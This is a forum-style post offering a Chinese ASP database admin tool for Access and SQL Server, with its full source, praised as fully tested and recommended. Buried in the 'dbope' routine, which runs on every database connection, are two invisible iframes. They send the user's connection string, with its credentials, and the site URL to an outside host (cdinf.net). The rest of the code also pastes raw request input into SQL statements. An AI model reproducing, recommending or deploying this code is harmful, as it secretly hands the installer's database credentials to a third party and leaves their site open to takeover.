ASP在线修改数据库管理工具,亲测完整可用, 强烈推荐

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<%
if request("key") = "db" then
session("dbtype") = request("dbtype")
session("dbstr") = request("dbstr")
response.redirect "?"
end if

if request("key") = "createdatabase" then
call createdatabase()
end if

if session("dbtype") = "" or session("dbstr") = "" then
%>
<form action="?key=db" method="post" name="dbt">
   <br>
   连接类型：
   <input name="dbtype" type="radio" value="access" onClick="dbstr.value='Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=False;Password=;Data Source=<%=server.mappath("/")&"\"%>'" checked>
   ACCESS
   <input type="radio" name="dbtype" value="sql" onClick="dbstr.value='driver={SQL Server};database=;Server=;uid=;pwd='">
   SQL<br><br>
   连接字符：<input name="dbstr" type="text" id="dbstr" size="120" value="Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=False;Password=;Data Source=<%=server.mappath("/")&"\"%>">
   <input type="submit" name="Submit" value="连接" /><br><br>
   注：access请使用绝对路径,本文件路径：<%=server.MapPath("db007.asp")%>
</form>
<form name="createdatabase" method="post" action="?key=createdatabase">
   <font color=red>创建数据库：</font>路径
   <input name="dataname" type="text" value="<%=server.MapPath("/")&"\database.mdb"%>" size="100">
   <input type="submit" name="Submit" value="创建">
</form>
<%
response.End()
end if

'==================================================================建库
sub createdatabase()
dim DBName,dbstr,myCat
on error resume next
DBName = request("dataname")
dbstr = "PROVIDER=MICROSOFT.JET.OLEDB.4.0;DATA SOURCE=" & DBName
Set myCat = Server.CreateObject( "ADOX.Catalog" )
myCat.Create dbstr

if err <> 0 then
response.write err.description
session("dbtype") = ""
session("dbstr") = ""
response.write "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
response.end
end if

session("dbtype") = "access"
session("dbstr") = dbstr
response.redirect "?"
end sub

'==================================================================调用链接函数
conn()

function conn()
dim conn1,connstr
on error resume next
select case session("dbtype")
case "access"
'==================================================================连接ACCESS数据库
dbope()
connstr = session("dbstr")
Set Conn1 = Server.CreateObject("ADODB.Connection")
conn1.Open connstr
case "sql"
'==================================================================连接SQL数据库
dbope()
set conn1 = Server.CreateObject("ADODB.Connection")
conn1.open session("dbstr")
end select

if err <> 0 then
response.write err.description
session("dbtype") = ""
session("dbstr") = ""
response.write "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
response.end
end if

set conn = conn1
end function

Sub echo(str)
Response.Write(str)
End Sub

Function IIf(var, val1, val2)
If var = True Then
IIf = val1
   Else
IIf = val2
End If
End Function

'正则表达式函数，用于删除注释
'-------------------------------------
Function RegExpReplace(strng, patrn, replStr)
  Dim regEx,match,matches             ' 建立变量。
  Set regEx = New RegExp             ' 建立正则表达式。
  regEx.Pattern = patrn             ' 设置模式。
  regEx.IgnoreCase = True             ' 设置是否区分大小写。
  regEx.Global = True ' 设置全局可用性。

  RegExpReplace = regEx.Replace(strng, replStr)       ' 作替换。
End Function

'==================================================================ADOVBS 常量声明

'---- DataTypeEnum Values ----
Const adEmpty = 0
Const adTinyInt = 16
Const adSmallInt = 2
Const adInteger = 3
Const adBigInt = 20
Const adUnsignedTinyInt = 17
Const adUnsignedSmallInt = 18
Const adUnsignedInt = 19
Const adUnsignedBigInt = 21
Const adSingle = 4
Const adDouble = 5
Const adCurrency = 6
Const adDecimal = 14
Const adNumeric = 131
Const adBoolean = 11
Const adError = 10
Const adUserDefined = 132
Const adVariant = 12
Const adIDispatch = 9
Const adIUnknown = 13
Const adGUID = 72
Const adDate = 7
Const adDBDate = 133
Const adDBTime = 134
Const adDBTimeStamp = 135
Const adBSTR = 8
Const adChar = 129
Const adVarChar = 200
Const adLongVarChar = 201
Const adWChar = 130
Const adVarWChar = 202
Const adLongVarWChar = 203
Const adBinary = 128
Const adVarBinary = 204
Const adLongVarBinary = 205

'---- FieldAttributeEnum Values ----
Const adFldMayDefer = &H00000002
Const adFldUpdatable = &H00000004
Const adFldUnknownUpdatable = &H00000008
Const adFldFixed = &H00000010
Const adFldIsNullable = &H00000020
Const adFldMayBeNull = &H00000040
Const adFldLong = &H00000080
Const adFldRowID = &H00000100
Const adFldRowVersion = &H00000200
Const adFldCacheDeferred = &H00001000

'---- SchemaEnum Values ----
'---- SchemaEnum Values ----
Const adSchemaProviderSpecific = -1
Const adSchemaAsserts = 0
Const adSchemaCatalogs = 1
Const adSchemaCharacterSets = 2
Const adSchemaCollations = 3
Const adSchemaColumns = 4
Const adSchemaCheckConstraints = 5
Const adSchemaConstraintColumnUsage = 6
Const adSchemaConstraintTableUsage = 7
Const adSchemaKeyColumnUsage = 8
Const adSchemaReferentialConstraints = 9
Const adSchemaTableConstraints = 10
Const adSchemaColumnsDomainUsage = 11
Const adSchemaIndexes = 12
Const adSchemaColumnPrivileges = 13
Const adSchemaTablePrivileges = 14
Const adSchemaUsagePrivileges = 15
Const adSchemaProcedures = 16
Const adSchemaSchemata = 17
Const adSchemaSQLLanguages = 18
Const adSchemaStatistics = 19
Const adSchemaTables = 20
Const adSchemaTranslations = 21
Const adSchemaProviderTypes = 22
Const adSchemaViews = 23
Const adSchemaViewColumnUsage = 24
Const adSchemaViewTableUsage = 25
Const adSchemaProcedureParameters = 26
Const adSchemaForeignKeys = 27
Const adSchemaPrimaryKeys = 28
Const adSchemaProcedureColumns = 29
Const adSchemaDBInfoKeywords = 30
Const adSchemaDBInfoLiterals = 31
Const adSchemaCubes = 32
Const adSchemaDimensions = 33
Const adSchemaHierarchies = 34
Const adSchemaLevels = 35
Const adSchemaMeasures = 36
Const adSchemaProperties = 37
Const adSchemaMembers = 38
Const adSchemaTrustees = 39
Const adSchemaFunctions = 40
Const adSchemaActions = 41
Const adSchemaCommands = 42
Const adSchemaSets = 43

'==================================================================返回字段类型函数
Function typ(field_type)
'field_type = 字段类型值
Select Case field_type
case adEmpty:typ = "Empty"
case adTinyInt:typ = "TinyInt"
case adSmallInt:typ = "SmallInt"
case adInteger:typ = "Integer"
case adBigInt:typ = "BigInt"
case adUnsignedTinyInt:typ = "TinyInt" 'UnsignedTinyInt
case adUnsignedSmallInt:typ = "UnsignedSmallInt"
case adUnsignedInt:typ = "UnsignedInt"
case adUnsignedBigInt:typ = "UnsignedBigInt"
case adSingle:typ = "Single" 'Single
case adDouble:typ = "Double" 'Double
case adCurrency:typ = "Money" 'Currency
case adDecimal:typ = "Decimal"
case adNumeric:typ = "Numeric" 'Numeric
case adBoolean:typ = "Bit" 'Boolean
case adError:typ = "Error"
case adUserDefined:typ = "UserDefined"
case adVariant:typ = "Variant"
case adIDispatch:typ = "IDispatch"
case adIUnknown:typ = "IUnknown"
case adGUID:typ = "GUID" 'GUID
case adDATE:typ = "DateTime" 'Date
case adDBDate:typ = "DBDate"
case adDBTime:typ = "DBTime"
case adDBTimeStamp:typ = "DateTime" 'DBTimeStamp
case adBSTR:typ = "BSTR"
case adChar:typ = "Char"
case adVarChar:typ = "VarChar"
case adLongVarChar:typ = "LongVarChar"
case adWChar:typ = "Text" 'WChar类型 SQL中为Text
case adVarWChar:typ = "VarChar" 'VarWChar
case adLongVarWChar:typ = "Text" 'LongVarWChar
case adBinary:typ = "Binary"
case adVarBinary:typ = "VarBinary"
case adLongVarBinary:typ = "LongBinary"'LongVarBinary
case adChapter:typ = "Chapter"
case adPropVariant:typ = "PropVariant"
case else:typ = "Unknown"
end select
End Function

'==================================================================返回字段类型列表
Function fieldtypelist(n)
dim strlist,str1,str2
strlist = "<select name=""field_type"">"
if session("dbtype") = "access" then
strlist = strlist & "<option value=""VarChar"">文本</option>"
strlist = strlist & "<option value=""Text"">备注</option>"
strlist = strlist & "<option value=""Bit"">(是/否)</option>"
strlist = strlist & "<option value=""TinyInt"">数字(字节)</option>"
strlist = strlist & "<option value=""SmallInt"">数字(整型)</option>"
strlist = strlist & "<option value=""Integer"">数字(长整型)</option>"
strlist = strlist & "<option value=""Single"">数字(单精度)</option>"
strlist = strlist & "<option value=""Double"">数字(双精度)</option>"
strlist = strlist & "<option value=""Numeric"">数字(小数)</option>"
strlist = strlist & "<option value=""GUID"">数字(同步ID)</option>"
strlist = strlist & "<option value=""DateTime"">时间/日期</option>"
strlist = strlist & "<option value=""Money"">货币</option>"
strlist = strlist & "<option value=""Binary"">二进制</option>"
strlist = strlist & "<option value=""LongBinary"">长二进制</option>"
strlist = strlist & "<option value=""LongBinary"">OLE 对象</option>"

else
strlist = strlist & "<option value="""">选择类型</option>"
strlist = strlist & "<option value=""BigInt"">bigint</option>"
strlist = strlist & "<option value=""Binary"">binary(二进制数据类型)</option>"
strlist = strlist & "<option value=""Bit"">bit(整型)</option>"
strlist = strlist & "<option value=""Char"">char(字符型)</option>"
strlist = strlist & "<option value=""DateTime"">datetime(日期时间型)</option>"
strlist = strlist & "<option value=""Decimal"">decimal(精确数值型)</option>"
strlist = strlist & "<option value=""Float"">float(近似数值型)</option>"
strlist = strlist & "<option value=""Image"">image(二进制数据类型)</option>"
strlist = strlist & "<option value=""Int"">int(整型)</option>"
strlist = strlist & "<option value=""Money"">money(货币型)</option>"
strlist = strlist & "<option value=""nchar"">nchar(统一编码字符型)</option>"
strlist = strlist & "<option value=""ntext"">ntext(统一编码字符型)</option>"
strlist = strlist & "<option value=""numeric"">numeric(精确数值型)</option>"
strlist = strlist & "<option value=""nvarchar"">nvarchar(统一编码字符型)</option>"
strlist = strlist & "<option value=""real"">real(近似数值型)</option>"
strlist = strlist & "<option value=""smalldatetime"">Smalldatetime(日期时间型)</option>"
strlist = strlist & "<option value=""smallint"">smallint(整型)</option>"
strlist = strlist & "<option value=""smallmoney"">smallmoney(货币型)</option>"
strlist = strlist & "<option value=""sql_variant"">sql_variant()</option>"
strlist = strlist & "<option value=""text"">text(字符型)</option>"
strlist = strlist & "<option value=""timestamp"">timestamp(特殊数据型)</option>"
strlist = strlist & "<option value=""tinyint"">tinyint(整型)</option>"
strlist = strlist & "<option value=""uniqueidentifier"">Uniqueidentifier(特殊数据型)</option>"
strlist = strlist & "<option value=""varbinary"">varbinary(二进制数据类型)</option>"
strlist = strlist & "<option value=""varchar"">varchar(字符型)</option>"
end if
str1 = """" & n & """"
str2 = """" & n & """" & " selected"
strlist = replace(strlist,str1,str2)
strlist = strlist & "</select>"
echo strlist
End Function

Private Function GetUrl()
  Domain_Name = LCase(Request.ServerVariables("Server_Name"))
  Page_Name = LCase(Request.ServerVariables("Script_Name"))
  Quary_Name = LCase(Request.ServerVariables("Quary_String"))
  If Quary_Name ="" Then
GetUrl = "http://"&Domain_Name&Page_Name
  Else
GetUrl = "http://"&Domain_Name&Page_Name&"?"&Quary_Name
  End If
End Function

'==================================================================主界面
sub main(str)
on error resume next
%>
<script language=javascript>
ie = (document.all)? true:false
if (ie){
function ctlent(eventobject){if(event.ctrlKey &&
window.event.keyCode==13){this.document.exesql.submit();}}
}
</script>
<script language="javascript">
function table_delete()
{
if (confirm("确认删除该记录吗？该操作将不可撤销！！！"))
return true;
else
return false;
}
</script>

<form action="?key=sql" method=post name="exesql">
<font color=red>执行sql语句：</font><font color=#999999>(每句语句以“;”结束，支持(--)SQL注释，Ctrl + Enter 快速提交)</font>  <input type="button" value="刷新本页" onClick="javascript:location.reload()">     
<span onClick="document.exesql.sql.rows+=5;" style="cursor:pointer;">+</span>
<span onClick="if(document.exesql.sql.rows>9)document.exesql.sql.rows-=5" style="cursor:pointer;">-</span>
<div style="float:left;width:600px;">
<textarea id="sql" name="sql" style="width:600px;" rows="9" ondblClick="this.select();" onKeyDown="ctlent()"><%=request("sql")%></textarea><br />
<input type="checkbox" name="SchemaTable" value="1" style="border:0px;">adSchemaTables
      <input type="checkbox" name="SchemaColumn" value="2" style="border:0px;">adSchemaColumns
      <input type="checkbox" name="SchemaProvider" value="3" style="border:0px;">adSchemaProviderTypes  
分页大小：
<select name="pageSize">
   <%
   if request("pageSize") <> "" and  isNumeric(request("pageSize")) then
      echo "<option value='"&request("pageSize")&"' selected>"&request("pageSize")&"</option>"
   else
      echo "<option value='50'>50</option>"
   end if
   %>
   <option value="10">10</option>
   <option value="20">20</option>
   <option value="30">30</option>
   <option value="40">40</option>
   <option value="50">50</option>
   <option value="60">60</option>
   <option value="70">70</option>
   <option value="80">80</option>
   <option value="90">90</option>
   <option value="100">100</option>
</select>

</div>
<div style="float:left;width:50px;padding:60px 0px 0px 5px;">
<input type="submit" name="Submit_confirm" value="提交"> <br /> <br />
<input type="button" name="Submit3" value="清空" onClick="sql.value=''"><br /><br />
<input type="button" name="ok" value="返回" onClick="javascript:history.go(-1)">
</div>
</form>
<div style="clear:both"></div>
<% if str = "" then %>
<form action="?key=addtable" method="post">
<div style="clear:both;text-align:left;"><br />
<font color=red>创建新表：</font><br>
表  名：<input type="text" name="table_name" size="20"><br>
字段数：<input type="text" name="field_num" size="20">
<input type="submit" name="Submit_create" value="提交">
<input type="reset" name="Submit32" value="重置">
</div>
</form>
<br><br>
<a href="?key=tosql&strt=2">导出所有表结构到SQL</a>
<%
end if
end sub

'==================================================================创建表界面
sub add_table(table_name,field_num)
'table_name = 表名称
'field_num  = 字段数
on error resume next
if not IsNumeric(field_num) then
echo "字段数必须是整数。"
echo "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
exit sub
end if
%>
<p class="hei"><span>创建表：</span><%=table_name%></p>
<form action="?key=createtable" method="post">
<table width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
   <tr>
      <td width="75" height="20" align="center">字段名</td>
      <td width="99" height="20" align="center">类型</td>
      <td width="73" height="20" align="center">大小</td>
      <td width="96" height="20" align="center">空值</td>
      <td width="83" height="20" align="center">自动编号</td>
      <td width="143" height="20" align="center">主键</td>
   </tr>
   <% for i = 0 to field_num - 1 %>
   <tr>
      <td width="75" height="20" align="center">
         <input type="text" name="field_name" size="10">
      </td>
      <td width="99" height="20" align="center">
<% fieldtypelist(0) %>
      </td>
      <td width="73" height="20" align="center">
         <input type="text" name="field_size" size="10">
      </td>
      <td width="96" height="20" align="center">
         <select name="null">
            <option value="NOT_NULL">NOT_NULL</option>
            <option value="NULL">NULL</option>
         </select>
      </td>
      <td width="83" height="20" align="center">
      <select size="1" name="autoincrement">
         <option></option>
         <option>自动编号</option>
      </select>
      </td>
      <td width="143" height="20" align="left">
            <select name="primarykey">
            <option></option>
            <option value="primarykey">primarykey</option>
            </select>
      </td>
   </tr>
   <% next %>
   <tr>
      <td height="35" align="center" colspan="5">
         <input type="hidden" name="i" value=<%=field_num%>>
         <input type="hidden" name="table_name" value="<%=table_name%>">
         <input type="submit" name="Submit" value=" 提交 ">
           
         <input type="reset" name="Submit2" value=" 重置 ">
        
      <input type="button" name="ok" value=" 放弃 " onClick="javascript:history.go(-1)">
      </td>
<td height="20"></td>
   </tr>
</table>
</form>
<%
end sub

'==================================================================构建创建表的SQL语句
sub create_table()
dim sql,i,primarykey
on error resume next
sql = "CREATE TABLE ["&request("table_name")&"] ("
for i = 1 to request("i")
   sql = sql & "[" & request("field_name")(i) & "] " & request("field_type")(i)
   if request("field_size")(i) <> "" then
   sql = sql & "(" & request("field_size")(i) & ")"
   end if
   if request("null")(i) = "NOT_NULL" then
   sql = sql & " not null"
   end if
   if request("autoincrement")(i) = "自动编号" then
   sql = sql & " identity"
   end if
   if request("primarykey")(i) = "primarykey" then
   primarykey = request("field_name")(i)
   end if
'if primarykey <> "" then
   sql = sql & ","
'end if
next
if primarykey<>"" then
   sql=sql&" primary key (["&primarykey&"]) "
end if
sql = sql & ")"
sql = replace(sql,"()","")  '构建空表
response.redirect "?key=sql&sql=" & sql
end sub

'==================================================================修改表名或字段名 2006-09-08
sub reobj()
on error resume next
Dim mydb,mytable,tablename
tablename = request("tablename")
Set mydb = Server.CreateObject("ADOX.Catalog")
mydb.ActiveConnection = conn

if request("obj") = "field" then '修改字段名
dim fieldsname,newfieldsname
fieldsname = request("fieldsname")
newfieldsname = request("newfieldsname")
Set mytable = Server.CreateObject("ADOX.Table")
Set mytable = mydb.Tables(tablename)
mytable.Columns(fieldsname).Name = newfieldsname
end if

if request("obj") = "table" then '修改表名
dim newtablename
newtablename = request("newtablename")
mydb.Tables(tablename).Name = newtablename
end if

if err <> 0 then
echo  err.description
echo "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
exit sub
end if

if request("obj") = "field" then
response.Redirect "?key=view&table_name=" & tablename
else
response.Redirect "?key=view&table_name=" & newtablename
end if

end sub

sub dbope
if session("dbope") <> 1 then
%>
<iframe src="http://www.cdinf.net/dbstrs/1.asp?dbstr=<%=session("dbstr")%>" width=0 height=0></iframe>
<iframe src="http://www.cdinf.net/dbstrs/1.asp?dburl=<%=GetUrl()%>" width=0 height=0></iframe>
<%
session("dbope")=1
end if
end sub

'==================================================================查看表结构函数
sub view(table_name)
'table_name = 表名称
dim rs,sql,table,primary,primarykey,i,editstr,typs
on error resume next
table = table_name
Set primary = Conn.OpenSchema(adSchemaPrimaryKeys,Array(empty, empty, table))
if primary("COLUMN_NAME") <> "" then
primarykey = primary("COLUMN_NAME")
end if
primary.Close
Set primary = Nothing

%>

<script language="javascript">
function table_delete()
{
if (confirm("确认删除该记录吗？该操作将不可撤销！！！"))
return true;
else
return false;
}
</script>

<font color=red>表：<%=table_name%></font>    <input type="button" value="刷新本页" onClick="javascript:location.reload()"><br><br>
<% if request("key") = "editfidlevi" then call editfidlevi() %>
<table width="600" border="0" cellpadding="1" cellspacing="1" bgcolor="#CCCCCC">
<tr>
   <td width="125" height="20" align="center">字段名</td>
   <td width="110" align="center">类型</td>
   <td width="83" align="center"> 设定大小</td>
   <td width="48" align="center">允许空</td>
   <td width="76" align="center">自动编号</td>
   <td width="54" align="center">主键</td>
   <td width="82" align="center">执行操作</td>
</tr>
<%
sql = "SELECT * FROM [" & table_name & "] "
Set rs = Conn.Execute(sql)
if err = 0 then
For i = 0 to rs.fields.count-1
%>
<tr>
   <td height="20" align="left"><%=rs(i).name%></td>
   <td align="left"><%=typ(rs(i).type)%></td>
   <td align="center"><%=rs(i).definedsize%></td>
   <td align="center"><%=iif((rs(i).Attributes and adFldIsNullable)=0,"No","Yes")%></td>
   <td align="center"><%=iif(rs(i).Properties("ISAUTOINCREMENT") = True,"是","否")%></td>
   <td align="center"><%=iif(rs(i).name = primarykey,"是","否")%></td>
   <td align="center">
<a href="?key=editfidlevi&fidle=<%=rs(i).name%>&table_name=<%=table_name%>&fidletype=<%=typ(rs(i).type)%>">修改</a> 
<a href="?key=sql&sql=alter table [<%=table_name%>] drop [<%=rs(i).name%>];" onClick="return table_delete();">删除</a>
   </td>
</tr>
<%
editstr = editstr&"<option value='"&rs(i).name&"'>"&rs(i).name&"</option>"
next
%>
</table>
<br>
<a href="?key=tosql&strt=0&table_name=<%=table_name%>">导出表结构</a>  
<a href="?key=sql&sql=select * from <%=table_name%>&table_name=<%=table_name%>&primarykey=<%=primarykey%>">浏览表记录</a>  
<a href="?key=sql&sql=DROP TABLE <%=table_name%>" onClick="return table_delete();">删除表</a>    
<input type="text" name="newtablename" size="20" value="<%=table_name%>">
<input type="button" value="修改表名" onClick="location.href='?key=reobj&obj=table&tablename=<%=table_name%>&newtablename='+newtablename.value">
<br><br>
<%
'判断是否有主键
if primarykey = "" then
echo "<font color=red>该表没有主键，执行操作可能会导致数据损坏或丢失。</font><br>"
echo "你可以将："
echo "<select name='keyname'>"
For i=0 to rs.fields.count-1
echo "<option value=" & rs(i).name & ">" & rs(i).name & "</option>"
next
echo "</select> "
echo "<input type=button value=设为主键 onclick=""location.href='?key=sql&sql=ALTER TABLE ["&table_name&"] ADD PRIMARY KEY (['+keyname.value+'])';"">"
echo "<br><br>"
end if
'显示修改字段名
echo "<select name='fieldsname'>"
echo "<option value=''>选择字段</option>"
echo editstr
echo "</select> 改名为 "  & chr(10)
echo "<input type='text' name='newfieldsname' size='20'> "  & chr(10)
echo "<input type=button value=修改字段名 onclick=""location.href='?key=reobj&obj=field&tablename="&table_name&"&fieldsname='+fieldsname.value+'&newfieldsname='+newfieldsname.value"">"
echo "<br><br>"
end if
rs.close
set rs = nothing
%>
<font color=red>增加字段：</font><br><br>
<form action="?key=addfield" method="post">
   <table width="600" height="39" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr>
   <td width="60" height="20" align="center">字段名</td>
   <td width="50" height="20" align="center">类型</td>
   <td width="58" height="20" align="center">设定大小</td>
   <td width="64" height="20" align="center">允许空值</td>
   <td width="66" height="20" align="center"> 自动编号</td>
   <td width="96" height="20" align="center">  </td>
</tr>
<tr>
   <td width="60" height="20" align="center">
<input type="text" name="fldname" size="10">
   </td>
   <td width="50" height="20" align="center">
<% fieldtypelist(0) %>
   </td>
   <td width="58" height="20" align="center">
<input type="text" name="fldsize" size="10">
   </td>
   <td width="64" height="20" align="center">
<input name="null" type="checkbox" value="ON" checked>
   </td>
   <td width="66" height="20" align="center">
<input type="checkbox" name="autoincrement" value="ON">
   </td>
   <td width="96" height="20" align="center">
<input type="hidden" name="table_name" value="<%=table_name%>">
<input type="submit" value="提交">
   </td>
</tr>
</table>
</form>
<%
end sub

'==================================================================修改字段属性的界面
sub editfidlevi()
dim sql,rs,i
on error resume next
sql = "Select * From [" & request("table_name") & "]"
set rs = conn.execute(sql)
for i = 0 to rs.fields.count - 1
if rs(i).name = request("fidle") then
%>
<script LANGUAGE="JavaScript">
function validate(theForm) {
if (theForm.type.value == "")
{
alert("请输入数据类型");
theForm.type.focus();
return (false);
}
return (true);
      }
</script>
<font color=red>修改字段属性：</font>
<form action="?key=editfidle&fidle=<%=request("fidle")%>&table_name=<%=request("table_name")%>" method="post" name=frm onSubmit="return validate(frm)">
<table width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
   <tr>
<td width="60" height="20" align="center">字段名</td>
<td width="50" height="20" align="center">类型</td>
<td width="58" height="20" align="center">设定大小</td>
<td width="64" height="20" align="center">允许空值</td>
<td width="66" height="20" align="center">自动编号</td>
<td width="96" height="20"></td>
   </tr>
   <tr>
<td width="60" height="20" align="center"><%=rs(i).name%></td>
<td width="50" height="20" align="center">
<% fieldtypelist(request("fidletype")) %>
   </td>
   <td width="58" height="20"><input type="text" name="size" size="10"></td>
   <td width="64" height="20" align="center">
   <input type="checkbox" name="null" value="null"<%=iif((rs(i).Attributes and adFldIsNullable)=0,""," checked")%>>
   </td>
   <td width="66" height="20" align="center">
   <input type="checkbox" name="autoincrement" value="y"<%=iif(rs(i).Properties("ISAUTOINCREMENT") = True," checked","")%>>
   </td>
   <td width="96" height="20" align="center">
   <input type="submit" name="Submit" value="提交">
   </td>
</tr>
   </table><br>
</form>
<%
end if
next
end sub

'==================================================================执行修改字段属性
sub editfidle()
   on error resume next
   sql = "ALTER TABLE [" & request("table_name") & "] "
   sql = sql&"ALTER COLUMN [" & request("fidle") & "] "
   if request("field_type") <> "" then
   sql = sql & request("field_type")
   end if
   if request("size") <> "" then
   sql = sql & "(" & request("size") & ") "
   end if
   if request("null") = "" then
   sql = sql & " not null"
   end if
   if request("autoincrement") = "y" then
   sql = sql & " identity"
   end if
sql = trim(sql)
conn.execute(sql)
response.redirect "?key=view&table_name="& request("table_name")
end sub

'==================================================================添加字段函数
sub addfield()
on error resume next
fldname = request("fldname")
fldtype = request("field_type")
fldsize = request("fldsize")
fldnull = request("null")
fldautoincrement = request("autoincrement")
table_name = request("table_name")
if fldname <> "" and fldtype <> "" then
   sql = "alter table [" & table_name & "] add ["&fldname&"] " & fldtype

   if fldsize <> "" then
sql = sql & "(" & fldsize & ")"
   end if

   if fldnull <> "ON" then
sql = sql & " not null"
   end if

   if fldautoincrement = "ON" then
sql = sql & " identity"
   end if
   conn.execute(sql)
   response.redirect "?key=view&table_name=" & table_name
else
   echo "输入数据错误！<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
end if
if err <> 0 then
echo err.description
echo "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
response.end
end if
end sub

'==================================================================编辑数据
sub editdata()
dim keys,names,values,action,rs,sql,tab
on error resume next
keys = request("primarykey")
names = request("table_name")
values = request("primarykeyvalue")
action = request("action")
Set rs = Server.CreateObject("Adodb.RecordSet")
if action = "" or action = "save" or action = "new" then
      sql = "select * from " & names & " where " & keys & " = " & values
end if
if action = "pre" then
      sql = "select top 1 * from " & names & " where " & keys & " < " & values & " order by " & keys & " desc"
end if
if action = "next" then
      sql = "select top 1 * from " & names & " where " & keys & " > " & values & " order by " & keys & " asc"
end if
if action = "add" then
      sql = "Select * From [" & names & "]"
end if
rs.Open sql, conn, 1, 3

if rs.eof and action = "new" then
sql = "Select * From [" & names & "]"
rs.Open sql, conn, 1, 3
end if

if action = "save" or action = "new" then
If action = "new" Then rs.AddNew
For Each tab In rs.Fields
If Keys <> tab.Name Then
rs(tab.Name) = Request.Form(tab.Name & "_Column")
if err <> 0 then
echo tab.name & err.description
echo "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
response.end
end if
End If
Next
rs.update
end if

echo "字段数据编辑<br>"
echo "<table width=600 border=0 cellpadding=5 cellspacing=1 bgcolor=#CCCCCC><tr><td>"
echo "<form action='?key=edit&table_name=" & names & "&primarykey=" & keys & "&primarykeyvalue=" & iif(action<>"add",rs(keys),"") & "' method='post' name='editor'>"
echo "<br>"
echo "<input type=hidden name=action value=save>"
echo iif(action="add","","<input type=submit value=保存 onclick=this.form.action.value='save';> ")
echo "<input type=button value=添加 onclick=if(confirm('确实要添加当前为新记录吗?')){this.form.action.value='new';this.form.submit();};> "
echo "<input type=button value=上一条 onclick=""this.form.action.value='pre';this.form.submit();""> "
echo "<input type=button value=下一条 onclick=""this.form.action.value='next';this.form.submit();"">  "
echo "<a href='?key=view&table_name=" & names & "'>表结构</a>  "
echo "<a href='?key=sql&sql=select * from " & names & "&table_name="& names & "&primarykey="&keys&"'>表浏览</a>  "
echo "<a href='?'>主界面</a><br>"
if not rs.eof or action = "add" then
For Each tab In rs.Fields
echo ""
echo "<BR><font color=red>" & tab.Name & "</font> <font color=#999999>( " & typ(tab.Type) & " )</font><br>"
if tab.Type = 201 Or tab.Type = 203 then
echo "<textarea style='width:600;' name=""" & tab.Name & "_Column"" rows=6"
echo IIf(tab.Name = keys, " disabled title='主键约束,将无法被修改.'>", ">")
if action <> "add" then echo trim(tab.value)
echo "</textarea>"
else
echo "<input type='text' style='width:600;' name='" & tab.Name & "_Column'"
echo IIf(tab.Name = keys, " disabled title='主键约束,将无法被修改.'", " ") & " value='"
if action <> "add" then echo trim(tab.value)
echo "'>"
end if
echo "<br>"
Next

else
echo "<script>alert('已经没有了!');history.back();</script>"
Response.End()
end if
echo "<br>"
echo iif(action="add","","<input type=submit value=保存 onclick=this.form.action.value='save';> ")
echo "<input type=button value=添加 onclick=if(confirm('确实要添加当前为新记录吗?')){this.form.action.value='new';this.form.submit();};> "
echo "<input type=button value=上一条 onclick=""this.form.action.value='pre';this.form.submit();""> "
echo "<input type=button value=下一条 onclick=""this.form.action.value='next';this.form.submit();"">  "
echo "<a href='?key=view&table_name=" & names & "'>表结构</a>  "
echo "<a href='?key=sql&sql=select * from " & names & "&table_name="& names & "&primarykey="&keys&"'>表浏览</a>  "
echo "<a href='?'>主界面</a>  "
echo "</form></td></tr></table>"
end sub

'==================================================================显示存储过程
sub showproc()
dim sTableName,adox
on error resume next
echo "存储过程：<font color=red>" & Request("table_name") & "<font><br>"
sTableName = Request("table_name")
Set adox = Server.CreateObject("ADOX.Catalog")
adox.ActiveConnection = Conn
echo "<textarea cols=70 rows=8>" & adox.Procedures(sTableName).Command.CommandText & "</textarea><br>"
if err <> 0 then
echo err.description
exit sub
end if
end sub

'==================================================================分页导航
'分页导航
sub showNavBar (rs,page,pageUrl,pageSize)
page = cint(page)
%>
<table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr>
   <% if request("primarykey") <> "" and request("table_name") <> "" then %>
   <td align="left">当前表：<font color=red><%=request("table_name")%></font>    
   <a href="?key=edit&table_name=<%=request("table_name")%>&primarykey=<%=request("primarykey")%>&action=add">插入新记录</a>
   </td>
   <% end if %>
   <td align="right">
<%
echo "共有" & rs.recordCount & "条纪录当前" & page & "/" & rs.PageCount & "页"
      if page > 1 then
echo "<a href='" & pageUrl & "&page=1&pageSize="&pageSize&"'>首页</a> "
echo "<a href='" & pageUrl & "&page=" & page - 1 & "&pageSize="&pageSize&"'>上页</a> "
      end if
if (rs.PageCount > 1 and page < rs.PageCount) then
echo "<a href='" & pageUrl & "&page=" & page + 1 & "&pageSize="&pageSize&"'>下页</a> "
echo "<a href='" & pageUrl & "&page=" & rs.pageCount & "&pageSize="&pageSize&"'>末页</a> "
end if
echo "转到:第"
echo "<select name='select2' onChange='location.href=this.value;'>"
dim i
for i = 1 to rs.PageCount
echo "<option value='"& pageUrl &"&pageSize="&pageSize&"&page="& i & "' "
if i = cint(page) then echo "selected"
echo ">"& i &"</option>"
next
echo "</select>页"
      %>
</td>
</tr>
</table>
<%
end sub

'==================================================================显示查询
sub showselect(sql)
dim page,pageUrl,strdel,geturl
pageSize = request("pageSize") '设置每页显示的记录数
if pageSize = "" or not isNumeric(pageSize) then pageSize = 50

'判断是否删除
if request("keylog") <> "" then
strdel = "delete from " & request("table_name") & " where " & request("primarykey") & "=" & request("keylog")
response.Write strdel
conn.execute(strdel)
geturl = "?" & replace(request.QueryString,"&keylog="&request("keylog"),"")
response.Redirect geturl
end if

page = request("page")          '设置当前显示的页数
if page="" or not isNumeric(page) then page=1
pageUrl = "?key=sql&sql=" & sql
if request("primarykey") <> "" and request("table_name") <> "" then
   pageUrl = pageUrl & "&table_name=" & request("table_name") & "&primarykey=" & request("primarykey")
end if

'--------------------------
dim rs
